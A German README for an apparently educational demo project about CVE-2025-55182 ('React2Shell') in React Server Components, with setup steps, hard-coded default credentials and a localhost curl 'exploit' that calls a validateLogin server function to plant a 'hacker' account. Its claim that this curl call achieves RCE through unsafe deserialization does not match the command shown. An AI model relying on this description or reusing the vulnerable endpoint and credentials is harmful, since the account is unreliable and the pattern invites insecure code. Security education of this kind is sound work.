React CVE-2025-55182 Schwachstellen-Demonstrationsprojekt
⚠️ SICHERHEITSWARNUNG
Dieses Projekt demonstriert eine kritische RCE-Schwachstelle (CVE-2025-55182 / React2Shell) in React Server Components 19.1.1.
- NUR ZU BILDUNGS- UND SICHERHEITSFORSCHUNGSZWECKEN
- NIEMALS in der Produktion oder in nicht vertrauenswürdigen Netzwerken einsetzen
- Nur in isolierten, kontrollierten Umgebungen ausführen
- Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben
Überblick
Dieses Projekt demonstriert CVE-2025-55182 (React2Shell), eine kritische Remote Code Execution (RCE)-Schwachstelle in React Server Components 19.1.1. Die Anwendung umfasst:
- Eine einseitige Website mit Benutzername/Passwort-Authentifizierung
- React Server Components (RSC)-Implementierung
- RSC Flight-Protokoll-Endpunkt (anfällig)
- Docker-Bereitstellungskonfiguration
- POC-Exploit-Payload, der die Schwachstelle demonstriert
Projektstruktur
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
Voraussetzungen
- Node.js 18+
- Docker und Docker Compose (optional, für containerisierte Bereitstellung)
- npm oder yarn
Installation
Lokale Entwicklung
- Klonen oder laden Sie dieses Repository herunter
- Installieren Sie die Abhängigkeiten:
npm install
- Starten Sie den Server:
npm start
- Greifen Sie unter http://localhost:3000 auf die Anwendung zu
Docker-Bereitstellung
-
Mit Docker Compose bauen und starten:
docker-compose up --build
Oder manuell bauen und starten:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
-
Greifen Sie unter http://localhost:3000 auf die Anwendung zu
Verwendungsablauf
Normaler Authentifizierungsablauf
- Zugriff auf die Anwendung: Navigieren Sie zu http://localhost:3000
- Login-Seite: Sie sehen ein Anmeldeformular
- Standard-Anmeldedaten:
- Benutzername:
admin, Passwort: securepassword123
- Benutzername:
user1, Passwort: password123
- Erfolgreicher Login: Sie werden zum geschützten Dashboard weitergeleitet
- Abmelden: Klicken Sie auf die Abmelde-Schaltfläche, um zur Login-Seite zurückzukehren
Schwachstellendemonstration
Die Schwachstelle besteht im Deserialisierungsmechanismus des RSC Flight-Protokolls. Der Exploit:
- Baut eine schädliche serialisierte Nutzlast, die auf Server Function-Endpunkte abzielt
- Nutzt unsichere Deserialisierung aus, um beliebigen JavaScript-Code auszuführen
- Erstellt einen neuen Benutzereintrag in der JSON-Datei
- Umgeht die Authentifizierung mit den neuen Anmeldedaten
Ausführen des POC-Exploits
Option 1: Node.js-Skript
node exploit/poc.js
Oder mit einer benutzerdefinierten Ziel-URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
Option 2: Bash-Skript
./exploit/poc.sh
Oder mit einer benutzerdefinierten Ziel-URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
Option 3: Manueller curl-Befehl
Einzeiler-Version:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Mehrzeilige Version (bessere Lesbarkeit):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Hinweis: Ein kopierfertiger Einzeiler-Befehl ist auch in exploit/curl-oneline.txt verfügbar
Nach der Ausnutzung
Nach Ausführung des Exploits:
- Der Exploit erstellt einen neuen Benutzer in
data/users.json
- Sie können sich nun mit den neu erstellten Anmeldedaten anmelden:
- Benutzername:
hacker
- Passwort:
hacked123
- Dies zeigt, wie die Schwachstelle die Authentifizierung umgehen kann
Technische Details
Schwachstelle (CVE-2025-55182)
Die Schwachstelle existiert in React Server Components 19.1.1, speziell in:
- Komponente:
react-server-dom-webpack
- Version: 19.1.1 (anfällig)
- Problem: Unsichere Deserialisierung im RSC Flight-Protokoll
- Auswirkung: Remote Code Execution (RCE)
- CVSS: Kritisch
Serverimplementierung
Der Server (server.js) implementiert:
- Express.js HTTP-Server
- RSC Flight-Protokoll-Endpunkt (
/rsc)
- Ausführung von Serverfunktionen (anfälliger Endpunkt)
- Sitzungsverwaltung
- Statische Dateibereitstellung
Authentifizierungssystem
- Login-Komponente: Clientseitiges Formular für Benutzername/Passwort
- Auth Server-Komponente: Serverseitige Authentifizierungslogik
- Benutzerspeicher: JSON-Datei (
data/users.json) zur Speicherung von Anmeldedaten
- Geschützte Routen: Dashboard erfordert Authentifizierung
RSC Flight-Protokoll
Der RSC Flight-Protokoll-Endpunkt akzeptiert:
action: "callServerFunction": Serverfunktionen ausführen
action: "renderRSC": React Server Components rendern
Die Schwachstelle besteht in der Art und Weise, wie Serverfunktionsaufrufe deserialisiert und ausgeführt werden.
Sicherheitshinweise
⚠️ Kritische Warnungen
- Isolierte Umgebung: Nur in kontrollierten, isolierten Umgebungen ausführen
- Keine Produktionsnutzung: Verwundbaren Code niemals in der Produktion einsetzen
- Netzwerkisolation: Nicht für nicht vertrauenswürdige Netzwerke freigeben
- Bildungszweck: Nur für Sicherheitsforschung und Bildung
- Rechtliche Compliance: Stellen Sie sicher, dass Sie vor dem Testen die entsprechende Autorisierung haben
Bewährte Praktiken
- Verwenden Sie eine dedizierte VM oder einen Container zum Testen
- Deaktivieren Sie den Netzwerkzugriff außer für localhost
- Speichern Sie keine sensiblen Daten in der Testumgebung
- Bereinigen Sie Testdaten nach der Demonstration
- Befolgen Sie die Praktiken der verantwortungsvollen Offenlegung
Abhängigkeiten
- React: 19.1.1 (anfällige Version)
- react-server-dom-webpack: 19.1.1 (anfälliges Paket)
- Express.js: ^4.18.2
- express-session: ^1.17.3
- Node.js: 18+
Fehlerbehebung
Server startet nicht
- Überprüfen Sie, ob Port 3000 bereits verwendet wird
- Stellen Sie sicher, dass die Node.js-Version 18 oder höher ist
- Vergewissern Sie sich, dass alle Abhängigkeiten installiert sind (
npm install)
Exploit funktioniert nicht
- Überprüfen Sie, ob der Server läuft
- Stellen Sie sicher, dass der RSC-Endpunkt erreichbar ist
- Überprüfen Sie die Server-Logs auf Fehler
- Vergewissern Sie sich, dass das Exploit-Skript die entsprechenden Berechtigungen hat
Docker-Probleme
- Stellen Sie sicher, dass Docker läuft
- Überprüfen Sie die Docker Compose-Versionskompatibilität
- Vergewissern Sie sich, dass Port 3000 verfügbar ist
- Überprüfen Sie die Docker-Logs:
docker-compose logs
Referenzen
- CVE-2025-55182: React2Shell-Schwachstelle
- React Server Components-Dokumentation
- RSC Flight-Protokollspezifikation
Lizenz
MIT-Lizenz – Nur zu Bildungszwecken
Haftungsausschluss